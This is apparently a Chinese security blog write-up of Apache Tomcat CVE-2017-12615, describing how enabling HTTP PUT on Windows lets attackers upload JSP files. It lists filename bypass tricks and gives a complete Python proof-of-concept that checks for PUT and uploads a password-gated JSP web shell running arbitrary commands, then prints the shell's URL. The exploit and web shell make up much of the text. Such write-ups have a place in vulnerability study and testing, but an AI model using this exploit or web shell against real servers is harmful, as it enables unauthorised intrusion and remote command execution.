Tomcat代码执行漏洞分析测试

1. 漏洞花絮

       2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615)    影响: Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)

当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

   

2. 基本信息

漏洞名称:Tomcat任意文件上传漏洞

漏洞编号:CVE-2017-12615

漏洞影响:上传包含任意代码的文件,并被服务器执行。

影响平台:Windows

影响版本:Apache Tomcat 7.0.0 - 7.0.81

   

3. 测试过程

0x00 安装Tomcat 7.0.79

0x01 开启HTTP PUT

修改Tomcat 7.0/conf/web.xml文件

Org.apache.catalina.servlets.DefaultServlet

添加readonly属性,使者readonly=false; 相反为True,是禁用PUT DETELE,默认没有添加

  1. <init-param>
  2.    
  3. <param-name>readonly</param-name>
  4.    
  5. <param-value>false</param-value>
  6.    
  7. </init-param>

   

目前主要三种方法:

  • evil.jsp%20
  • evil.jsp::$DATA
  • evil.jsp/

构造请求:

   

   

参考POC:

  1. #! -*- coding:utf-8 -*-
  2.    
  3. import httplib
  4.    
  5. import sys
  6.    
  7. import time
  8.    
  9. body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
  10.    
  11. +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
  12.    
  13. try:
  14.    
  15.     conn = httplib.HTTPConnection(sys.argv[1])
  16.    
  17.     conn.request(method='OPTIONS', url='/ffffzz')
  18.    
  19.     headers = dict(conn.getresponse().getheaders())
  20.    
  21.     if 'allow' in headers and \
  22.    
  23.        headers['allow'].find('PUT') > 0 :
  24.    
  25.         conn.close()
  26.    
  27.         conn = httplib.HTTPConnection(sys.argv[1])
  28.    
  29.         url = "/" + str(int(time.time()))+'.jsp/'
  30.    
  31.         #url = "/" + str(int(time.time()))+'.jsp::$DATA'
  32.    
  33.         conn.request( method='PUT', url= url, body=body)
  34.    
  35.         res = conn.getresponse()
  36.    
  37.         if res.status == 201 :
  38.    
  39.             #print 'shell:', 'http://' + sys.argv[1] + url[:-7]
  40.    
  41.             print 'shell:', 'http://' + sys.argv[1] + url[:-1]
  42.    
  43.         elif res.status == 204 :
  44.    
  45.             print 'file exists'
  46.    
  47.         else:
  48.    
  49.             print 'error'
  50.    
  51.         conn.close()
  52.    
  53.     else:
  54.    
  55.         print 'Server not vulnerable'
  56.    
  57.    
  58.    
  59. except Exception,e:
  60.    
  61.     print 'Error:', e

   

   

参考链接:

https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5&chksm=ea3f3dd9dd48b4cf1db66e70662126cf1eb45f60eb8205b3391d20f66564e6a789b158c0efe5&mpshare=1&scene=23&srcid=0920boQGYdCjZTPg2nEQRMqt#rd

https://www.secquan.org/BugWarning/522

https://paper.seebug.org/399/